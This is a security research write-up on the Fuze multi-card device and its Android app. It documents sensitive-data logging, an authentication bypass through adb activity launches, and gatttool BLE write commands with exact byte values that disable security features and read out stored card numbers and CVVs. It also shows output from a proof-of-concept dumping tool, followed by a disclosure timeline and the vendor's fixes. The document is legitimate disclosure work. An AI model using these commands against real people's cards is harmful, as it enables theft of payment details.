Fuze Multi-Card Technology Security Review

A Brief Overview

Electronic multi-card technologies are a nice idea; load all of your payment and membership cards on to a single credit-card sized device which reduces the number of cards you need to carry around in your wallet or purse. However, many of these technologies have struggled to make it into production. The Fuze Card is one of the few that have successfully made it to market, with the chip-less version of their cards arriving to backers toward the end of 2017 after being successfully crowd-funded on the Indiegogo website; but what is the security of this device like?

The following article takes a brief look at the security claims made by the vendor of the Fuze card, and discusses security concerns that were identified with the device regarding the security of the stored card information. A critical security vulnerability was also discovered with the Fuze card that allowed the theft of all card data on the device, and was disclosed to the vendor in January 2018.

Update 29-Apr-18: The vendor has now implemented security features to address the discovered issues in their latest firmware. Further information can be found in the “Vendor Notification and Response” section below, and in this article.

What is the Fuze Card?

The Fuze Card is a credit-card sized device developed by BrilliantTS that is designed to store a number of payment and membership cards, allowing the stored cards to be selected and used, and removing the need to carry around multiple cards. To add a payment card to the device, the user reads the original card information using the eCard Manager mobile application and a provided card reader. The data is then sent to the Fuze Card via a paired Bluetooth Low Energy (BLE) connection.

Production of the Fuze Card was crowd-funded, being one of the highest funded Indiegogo projects of 2017, gaining over fifteen thousand backers, and raising over two million US dollars. Two versions of the card were promised during the campaign, an EMV chip card and a chip-less version. So far only the chip-less version is available, which allows only magnetic stripe functionality for payment cards and is the subject of this review.

Upon receiving a chip-less version of the Fuze card, it’s functionality was exercised. Loading payment and membership cards to the device using the eCard Manager application and the supplied card reader was a fairly simple process, and payments were successfully made using the magnetic stripe without any issues. Examples of the loading process and a Fuze card being used may be found on the vendor’s YouTube channel, and images of the received card can be seen below for reference.

An Interesting Observation: When attempting to make a swipe payment using a chip and pin card that has been added to the Fuze Card, a Point of Sale (POS) machine will likely fail and prompt to insert the chip. However, at least with my experience in Australia, it’s possible to cause the POS to fall back to a swipe payment by making three failed attempts with the chip reader. It’s interesting that a fall back to a less secure form of payment is possible.

Features of the Fuze Card include:

• Has an ePaper display to show card information and barcodes
• Has an electronic magnetic stripe to allow swipe payments with payment cards
• Uses a mobile application to manage the Fuze Card
• Uses BLE to communicate with the mobile application and transfer card data to the Fuze Card

From a security perspective this sounded like an interesting target. There was sensitive information to gain, such as credit-card details, and quite a bit of possible attack surface through the mobile application, the user’s mobile device, BLE, and physical access to the Fuze Card itself. So what did the Fuze Card offer as far as security features and the protection of that information?

Security Claims and Features

Reviewing the Fuze Card website, the vendor claimed the following regarding the security of the device:

• “All payment information is stored within encrypted chip (AES 256). Your data is not stored in our servers or even on your smartphone app.”
• “There are added features like separation alerts, card location tracking, remote wipe, and tap code entry on the card that add extra security.”
• “Instantly clear your data and cards from Fuze Card if lost.”
• “Handing over your card to a waiter? Select a single card to use when Fuze is out of Bluetooth range. Fuze will automatically lock after the transaction is complete” *“Receive notifications when you’ve left Fuze Card behind or if it’s on the move without you..”

The main security features of the Fuze Card were BLE Passkey, security level 2 (requires BLE connection to user’s mobile), data blind, passcode, and card lock, which are detailed in the following table:

Feature	Description	Image
BLE Passkey	BLE pairing with the Fuze Card requires entering a six digit pin that is displayed on the Fuze Card’s ePaper display. This is to prevent pairing with the card without physical access.
Security Levels	There are three security levels that may be applied to the Fuze Card from the eCard Manager application. Level 1 is default and implements no additional security. Level 2 enables lost tracking and requires the card to be connected to the user’s mobile device to make payments, otherwise the card is locked displaying the connect screen as shown in the image. Level 3 was not yet implemented, however appears to enable lost alerts.
Data Blind	When data blind is enabled, some card information is obscured by asterisks on the Fuze Card’s ePaper display.
Passcode/Tapcode	When passcode is enabled, the user is prompted to enter their passcode of six presses of the Fuze Card’s buttons when powering on the card.
Card Lock	When the Fuze Card is used with an account that it’s not registered with, the eCard Manager application locks the card with the screen shown.

Although there appeared to be a number of security features, how well did these protect the security of the information on the device? In the push to deliver the product on time to the backers, was security of the device overlooked? We’ll take a look in the following sections, starting with some of the methods used to review the security of the Fuze Card.

Review Methodology

To review the security aspects of the card, the Android eCard Manager application code, along with the communication between the application, eCard Manager servers, and Fuze card were investigated. Several versions of Fuze card firmware binary images were also able to be retrieved, however they were encrypted and not investigated as part of the review.

APK De-compilation and Code Review

An Android 7.1.2 mobile device was utilised to download the eCard Manager application (Version 1.0.8), as seen below, from the Google Play Store, and the Android Debug Bridge (ADB) toolkit was used to pull the Android Application Package (APK) from the mobile device.

The APK is just an archive file, however many of the files within are encoded along with the application code being compiled as a Dalvik Executable (.dex). Tools such as apktool can decode these files and de-compile the Dex file to smali bytecode, which is useful if wanting to patch and re-compile the application. However, for this review the open-source jadx Dex to Java de-compiler was utilised to return the code to a sufficiently readable Java format. De-compilation of the code was not perfect and was also found to be obfuscated, however it was still quite readable for the most part.

HTTP MitM

HTTP man-in-the-middle (MitM) was utilised to view communication between the eCard Manager application and the eCard Manager servers. This was achieved by providing a wireless access point (AP) to the mobile device, and configuring it’s proxy settings so the eCard Manager application’s web traffic would pass via an intercepting proxy.

An example of the traffic can be seen in the figure below, where the type and name of payment cards stored on the Fuze Card are sent to the eCard Manager servers.

POST /api/uploadcardlist HTTP/1.1
X-Service-Token: REMOVED
X-App-Version-Code: 1.0.8
X-User-Agent: GT-I9505;Android:7.1.2;en_AU
X-Bpay_Id: 
Content-Type: application/json; charset=utf-8
User-Agent: Dalvik/2.1.0 (Linux; U; Android 7.1.2; GT-I9505 Build/NJH47F)
Host: ecardmanager.com
Connection: close
Accept-Encoding: gzip, deflate
Content-Length: 89

{"type":1,"items":[{"corp":"VISA","text":"TESTCARD01"},{"corp":"VISA","text":"TESTCARD02"}]}

BLE Snooping

BLE traffic is not as easy to sniff due to it’s encryption and frequency hopping, however tools such as the BtleJuice Framework and GATTacker are able to achieve this when the BLE device uses the simplest “Just Works” pairing method. This is due to the “Just Works” method using a set Temporary Key (TK) of 0 during the pairing process and does not verfiy the devices taking part in the connection. In the case of the Fuze Card, it used the “Passkey” method of pairing where a six digit number is generated by the card and displayed on the ePaper display for the user to manually enter on the mobile device, which is then used as the TK. The previously mentioned tools are unable to be utilised for this pairing method. CrackLE is another tool that has the ability to crack and decrypt BLE traffic, however it requires sniffing the initial pairing process with a quality capture.

As we were in control of the mobile device, there was a much simpler method to view the BLE traffic. Within the “Developer options” of the Android phone, there’s an option to log Bluetooth traffic called “Enable Bluetooth HCI snoop log”. Turning this option on begins logging all Bluetooth traffic to a file on the device named btsnoop_hci.log. The file can then be pulled using ADB and viewed in Wireshark.

An example of the captured btsnoop traffic can be seen in the figure below, which shows payment card data being synchronised between the Fuze Card and the eCard Manager application.

To explain the figure above a little better, the eCard Manager application (localhost) sends a write request (No. 406) to the Fuze Card (Brillian_00:46:79) to request the information of a payment card. In response, the Fuze Card notifies the application with the card information split across multiple packets (No. 409-412). The last packet is selected, which shows the card type (VISA) in plain-text as part of the returned value.

An Interesting Fact: Hedy Lamarr, an inventor and famous actress, was one of the first to pioneer spread spectrum frequency hopping technology and her principles contributed to the Bluetooth technology in many of the devices we use today.

Results

Although the review of the application code and Fuze Card was not extensive, there were some considerable security concerns found in protecting sensitive information such as payment card details. The main issues are detailed below.

Logging of Sensitive Information

Reviewing the code it was noticed that the eCard Manager appeared to be logging sensitive information such as authentication details and session tokens, along with all card information. In fact, every time the application and Fuze Card were connected and synchronised, all stored card information was sent back to the application, which was then logged in plain-text to the Android log. This can be seen in the figure below, in which the logcat utility is used to view the log file.

[pritch@rnd fuze]$ adb logcat |grep "cardDataParsing"
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing strCardIndex : 01
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing strCardIndex : 01
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing nameLength : 10
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing index : 4
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing mCardName : TESTCARD01
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing index + nameLength : 14
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing cardNumberLength : 16
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing index : 16
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing getCardNumber : 1111222233334444
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing index + cardNumberLength : 32
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing mCardDate : 06/19
01-08 14:03:51.701 29717 29717 E i       : cardDataParsing CVC: 001
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing cardBrandLength : 4
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing index 111111111111 : 42
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing  22222 index + cardBrandLength  : 424
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing getCdBrdName: VISA
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing getCdBrdName : VISA
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing 2222222222 index  : 46
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing 2222222222 mData.length()  : 51
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing fourDbcLength: 4
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing fourDbcLength index : 46
01-08 14:03:51.702 29717 29717 E i       : cardDataParsing fourDbcLength length : 51
[...]

Although bad practice, this is not necessarily a major security issue as Android versions 4.1 and above remove the ability for user applications to view the logs. However, prior versions would allow applications to request the READ_LOGS permission, giving the potential for malware on those devices to scrape the log file for this information.

Application Authentication Bypass

As previously mentioned, much of the Fuze Card is controlled via the eCard Manager application. The application requires the creation of an account and authentication prior to being able to pair a Fuze Card, as can be seen in the image below.

Once logged in and paired for the first time, the Bluetooth address of the Fuze Card is associated with that account and the user is free to add cards and modify the Fuze Card settings. In addition to this, any attempt to use a Fuze Card that is associated with another account locks and potentially wipes the Fuze Card, with a notification email being sent to the registered email account warning of the attempt.

The issue here is that as a privileged user on the Android phone, any arbitrary application activity may be started out of the usual order. This means that even with a clean install of the application, no WiFi access, and no account, the authentication may be bypassed to pair with any Fuze Card, allowing access to it’s stored card information and control of it’s security settings. This may be achieved by using ADB and the activity manager (am) as shown in the figure below.

[pritch@rnd fuze]$ adb shell am start -n com.brilliantts.ecard/.screen.MainActivity
Starting: Intent { cmp=com.brilliantts.ecard/.screen.MainActivity }
[pritch@rnd fuze]$ adb shell am start -n com.brilliantts.ecard/.screen.ManualScanActivity
Starting: Intent { cmp=com.brilliantts.ecard/.screen.ManualScanActivity }
[pritch@rnd fuze]$ adb shell am start -n com.brilliantts.ecard/.screen.cardsync.CardSyncActivity
Starting: Intent { cmp=com.brilliantts.ecard/.screen.cardsync.CardSyncActivity }

Note: The application will unlikely continue after pairing the Fuze card during the ManualScanActivity due to waiting for server response, however the CardSyncActivity can then be started to force synchronisation of data with the card, after which the application works relatively as normal.

This still requires pairing with the Fuze Card and hence at least momentary physical access to view the BLE passkey, however this bypasses all other security controls giving complete control of the Fuze Card, and the added benefit of never notifying the owner or risking the Fuze Card being locked and wiped.

Trust in the Connecting Device

Given the ability to use the Fuze Card without an authenticated user, and the lack of encryption of data other than that given by BLE, there appeared to be no verification of the user by the Fuze Card, and complete trust of the connecting device once paired. This means that is must be possible to directly connect to the Fuze Card and interact with the provided BLE services.

Interacting With BLE Services

To interact with the BLE services of the Fuze Card, the tools provided by the BlueZ Linux protocol stack were used; specifically bluetoothctl and gatttool. The bluetoothctl tool was used to pair with the Fuze Card and identify the advertised services and their GATT characteristics, as can be seen in the figure below.

[pritch@rnd fuze]$ sudo systemctl start bluetooth
[pritch@rnd fuze]$ sudo bluetoothctl
[...]
Agent registered
[bluetooth]# scan on
Discovery started
[...]
[NEW] Device 54:D9:E4:00:46:79 eCARD004679
[bluetooth]# scan off
[...]
Discovery stopped
[bluetooth]# pair 54:D9:E4:00:46:79
Attempting to pair with 54:D9:E4:00:46:79
[CHG] Device 54:D9:E4:00:46:79 Connected: yes
Request passkey
[...]
[agent] Enter passkey (number in 0-999999): 055962
[CHG] Device 54:D9:E4:00:46:79 Paired: yes
Pairing successful
[eCARD004679]# list-attributes
Primary Service
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0001
        00001801-0000-1000-8000-00805f9b34fb
        Generic Attribute Profile
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0001/char0002
        00002a05-0000-1000-8000-00805f9b34fb
        Service Changed
Descriptor
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0001/char0002/desc0004
        00002902-0000-1000-8000-00805f9b34fb
        Client Characteristic Configuration
Primary Service
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0005
        00001016-d102-11e1-9b23-00025b00a5a5
        Vendor specific
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0005/char0006
        00001013-d102-11e1-9b23-00025b00a5a5
        Vendor specific
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0005/char0008
        00001018-d102-11e1-9b23-00025b00a5a5
        Vendor specific
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0005/char000a
        00001014-d102-11e1-9b23-00025b00a5a5
        Vendor specific
Descriptor
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0005/char000a/desc000c
        00002902-0000-1000-8000-00805f9b34fb
        Client Characteristic Configuration
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0005/char000d
        00001011-d102-11e1-9b23-00025b00a5a5
        Vendor specific
Primary Service
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016
        0000ff01-0000-1000-8000-00805f9b34fb
        Unknown
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016/char0017
        0000ff05-0000-1000-8000-00805f9b34fb
        Unknown
Characteristic
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016/char0019
        0000ff06-0000-1000-8000-00805f9b34fb
        Unknown
Descriptor
        /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016/char0019/desc001b
        00002902-0000-1000-8000-00805f9b34fb
        Client Characteristic Configuration

Through analysis of the btsnoop_hci.log and code review, it was determined that the service UUID of 0000ff01-0000-1000-8000-00805f9b34fb was the main service used when interacting with the Fuze Card. This service has one write characteristic, used to request information from or write to the Fuze Card, and another notify characteristic, which responds by notifying the connected device of value changes. These flags can be seen in the figure below.

[eCARD004679]# attribute-info /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016/char0017
Characteristic - Unknown
        UUID: 0000ff05-0000-1000-8000-00805f9b34fb
        Service: /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016
        Flags: write
[eCARD004679]# attribute-info /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016/char0019
Characteristic - Unknown
        UUID: 0000ff06-0000-1000-8000-00805f9b34fb
        Service: /org/bluez/hci0/dev_54_D9_E4_00_46_79/service0016
        Notifying: no
        Flags: notify

In the case of the Fuze Card, a value is written to the write characteristic, for instance to turn off a security feature, and the Fuze Card responds with a value indicating success or failure using the notify characteristic. An example of a value that would be sent to the Fuze Card to disable the data blind security feature can be seen in the following btsnoop_hci.log capture.

A quick breakdown of the data structure can be seen below, with var being the variable or function being interacted with, the total and current packet numbers, and the value in ASCII to be written, in this case ‘1’.

     var  pkts pkt  value                            checksum
02 | c7 | 01 | 01 | 310000000000000000000000000000 | f6

Note: The first byte was always 0x02 for write requests, and 0xdd for notification responses. The last byte of the write data is a checksum value, however it was discovered that this value was not verified and could be made any value.

Using gatttool it was possible to directly write these values to the paired Fuze Card and observe the response, as can be seen in the figure below which writes the value to disable the data blind feature and listens for the response.

[pritch@rnd fuze]$ gatttool -b 54:D9:E4:00:46:79 --char-write-req --handle=0x0018 --value=02c7010131000000000000000000000000000000 --listen
Characteristic value was written successfully
Notification handle = 0x001a value: dd c7 04 01 01 90 00 00 03
^C

Note: The 0x90 in the notification response indicates success, with 0xff in the same position indicating failure of the request.

Observing the Fuze Card during this attempt showed that the data blind feature was successfully disabled, as can be seen in the figure below.

Using the same method, it was possible to determine the structure of card information stored on the Fuze Card, and retrieve arbitrary card information as shown below where the details of the first stored payment card is retrieved.

[pritch@rnd fuze]$ gatttool -b 54:D9:E4:00:46:79 --char-write-req --handle=0x0018 --value=02be010130303100000000000000000000000000 --listen
Characteristic value was written successfully
Notification handle = 0x001a value: dd be 0f 05 01 90 00 30 30 31 31 30 54 45 53 54 43 41 00 03
Notification handle = 0x001a value: dd be 0f 05 02 52 44 30 31 31 36 31 31 31 31 32 32 32 00 03
Notification handle = 0x001a value: dd be 0f 05 03 32 33 33 33 33 34 34 34 34 30 36 2f 31 00 03
Notification handle = 0x001a value: dd be 0f 05 04 39 30 30 31 30 34 56 49 53 41 34 00 00 00 03
Notification handle = 0x001a value: dd be 04 05 05 00 00 00 03
^C

The issue with allowing this is that anyone with momentary physical access to pair with the Fuze Card may retrieve payment card information, bypassing all other security controls, and avoiding alerting the owner other than them potentially noticing they have been unpaired from their card. In addition to the previous issue, malware on the connected mobile device may also have the ability collect this information from a legitimately paired Fuze Card.

Proof of Concept

Knowing that it’s possible to directly control and retrieve data from a Fuze Card, a Proof of Concept (PoC) tool was created that allows retrieval of all stored card information from a Fuze Card without disturbing enabled security features, or optionally disabling the security features to allow full use of the card. This is available from the elttam GitHub repository, and is shown in the figure below.

[pritch@rnd fuze]$ sudo systemctl start bluetooth
[pritch@rnd fuze]$ sudo bluetoothctl
[...]
Agent registered
[bluetooth]# scan on
Discovery started
[...]
[NEW] Device 54:D9:E4:00:46:79 eCARD004679
[bluetooth]# scan off
[...]
Discovery stopped
[bluetooth]# pair 54:D9:E4:00:46:79
Attempting to pair with 54:D9:E4:00:46:79
[CHG] Device 54:D9:E4:00:46:79 Connected: yes
Request passkey
[...]
[agent] Enter passkey (number in 0-999999): 055962
[CHG] Device 54:D9:E4:00:46:79 Paired: yes
Pairing successful
[eCARD004679]# disconnect
Attempting to disconnect from 54:D9:E4:00:46:79
[eCARD004679]# quit
Agent unregistered
[...]
[pritch@rnd fuze]$ ./defuze.py -d 54:D9:E4:00:46:79
[+] Attempting to connect to 54:D9:E4:00:46:79...
        Connected to 54:D9:E4:00:46:79
[+] Disabling security features...
        Setting security level 1:       Success
        Setting pincode off:            Success
        Setting data blind off:         Success
        Setting nickname:               Success
[+] Retrieving card data...
TYPE NAME NUMBER EXPIRY CVV BRAND
PAYMENT TESTCARD01 1111222233334444 06/19 001 VISA
PAYMENT TESTCARD02 1111222233334444 06/19 002 VISA
PAYMENT TESTCARD03 1111222233334444 06/19 003 VISA
PAYMENT TESTCARD04 1111222233334444 06/19 004 VISA
PAYMENT TESTCARD05 1111222233334444 06/19 005 VISA
[...]
MEMBERSHIP TESTBAR01 1234567
MEMBERSHIP TESTBAR02 1234567
MEMBERSHIP TESTBAR03 1234567
MEMBERSHIP TESTBAR04 1234567
MEMBERSHIP TESTBAR05 1234567
[...]

Note: After disabling security features using the PoC, it may be necessary to power the Fuze Card off and on again before they disappear.

Revisiting Security Claims

After reviewing the security of the Fuze Card, the claims made by the vendor were revisited to determine if they were accurate. Let’s take a look at them in turn.

"All payment information is stored within encrypted chip (AES 256). Your data is not stored in our servers or even on your smartphone app."

During the review it was not determined if the payment card information was stored within an AES 256 encrypted chip, however card information was not encrypted during transit except for that being provided by BLE. It’s not entirely true that card information isn’t sent to the servers either; both the type (i.e. VISA) of all payment cards along with what the user named them is sent to the eCard Manager servers, as can be seen in Figure-3. It would be recommended to notify Fuze Card users of exactly what card information is stored by the servers. In addition, all card information is logged by the application so it at least resides in memory, however card information did not appear to be permanently stored on the mobile device.

"There are added features like separation alerts, card location tracking, remote wipe, and tap code entry on the card that add extra security."

As seen above, features such as location tracking and remote lock/wipe are implemented by the eCard Manager application, hence will not be activated by an attacker that is bypassing authentication or directly interacting with the card via BLE. All of these extra security features have been shown to be easily bypassable and offered no additional security.

"Instantly clear your data and cards from Fuze Card if lost."

As stated above, these activities were not instant and rely on someone attempting to connect with the Fuze Card via the eCard Manager application before any remote wipe is initiated.

"Handing over your card to a waiter? Select a single card to use when Fuze is out of Bluetooth range. Fuze will automatically lock after the transaction is complete"

This did not appear true in regular use. With the level 2 security feature enabled, the Fuze Card did indeed lock when it lost the BLE connection, however when the card hold function was used, it was possible to turn off the card hold function to make payments with any stored card when outside of Bluetooth range.

"Receive notifications when you've left Fuze Card behind or if it's on the move without you.."

Lastly, lost alerts appear to be a part of the level 3 security feature which was not implemented in the reviewed software version.

Vendor Notification and Response

The Fuze Card vendor BrilliantTS was notified of the above issues in January 2018, and given a 90-day responsible disclosure period. They were slow to respond to the disclosure, however have since worked to address the issues and release a new version of the mobile application and Fuze card firmware, a notice of which can be found here.

Update 29-Apr-18: Fuze have now implemented a security feature where BLE is not activated until the passcode is successfully entered on the card. In doing so, an unauthorized third party should not be able to access the card via BLE in the scenario the card is lost or misplaced, unless they can bypass the passcode feature. In addition, Fuze have implemented a feature where all loaded cards are deleted if the passcode is entered incorrectly five consecutive times, increasing the difficulty of this type of attack. Both of these features have been implemented and are currently active in the latest firmware detailed here.

The main security issue was also independently discovered by researcher Mike Ryan, which he publicly disclosed in April 2018, and can be found here. This sparked numerous news articles on the vulnerability, including articles in Forbes and arsTECHNICA.

The following details the disclosure timeline:

• 29-Dec-17 - Initial contact with BrilliantTS notifying of security research and requesting a security contact
• 03-Jan-18 - BrilliantTS responded with a security contact
• 21-Jan-18 - Disclosure of found security issues to BrilliantTS and offer/start of a 90-day responsible disclosure period
• 02-Feb-18 - Response from BrilliantTS stating it has been referred to their development team
• 14-Feb-18 - Official response from BrilliantTS stating they are addressing the issues disclosed with an updated version anticipated for release in early Q2 2018
• 04-Apr-18 - Mike Ryan publicly discloses the vulnerability via the ICE9 blog with CVE-2018-9119
• 05-Apr-18 - BrilliantTS releases a public notice regarding the security issues
• 07-Apr-18 - Contacted by reporter Thomas Fox-Brewster from Forbes regarding my disclosure after he contacted BrilliantTS regarding Mike Ryan’s blog post, in which he released a news article on the issue
• 21-Apr-18 - End of 90-day responsible disclosure period

Conclusion

After reviewing the security of the Fuze card and the related eCard Manager Android application, the security claims made by BrilliantTS were not accurate. A number of best practice security issues were identified, along with a critical vulnerability that could be used to disclose all card information on the device. This was disclosed to the vendor and they have since been addressing the issues with updates to the application and Fuze card firmware.

Taking into account that the identified security issues are being addressed, is this card any better than carrying individual cards in a wallet? When it comes to convenience, definitely. As far as security, using this card does add some additional vectors for attack that BrilliantTS will need to be wary of and active in addressing; such as BLE, the mobile application, and their online services. The risk posed to the user appears similar to someone losing their wallet, which is unlikely to be any large financial loss. However, a new venture by BrilliantTS called FuzeX which allows cryptocurrencies to be used with a similar device, has potential to pose a lot more risk of large financial loss and is much more attractive to an attacker. This was also communicated to BrilliantTS, and I hope they continue to be vigilant and active regarding the security of their devices.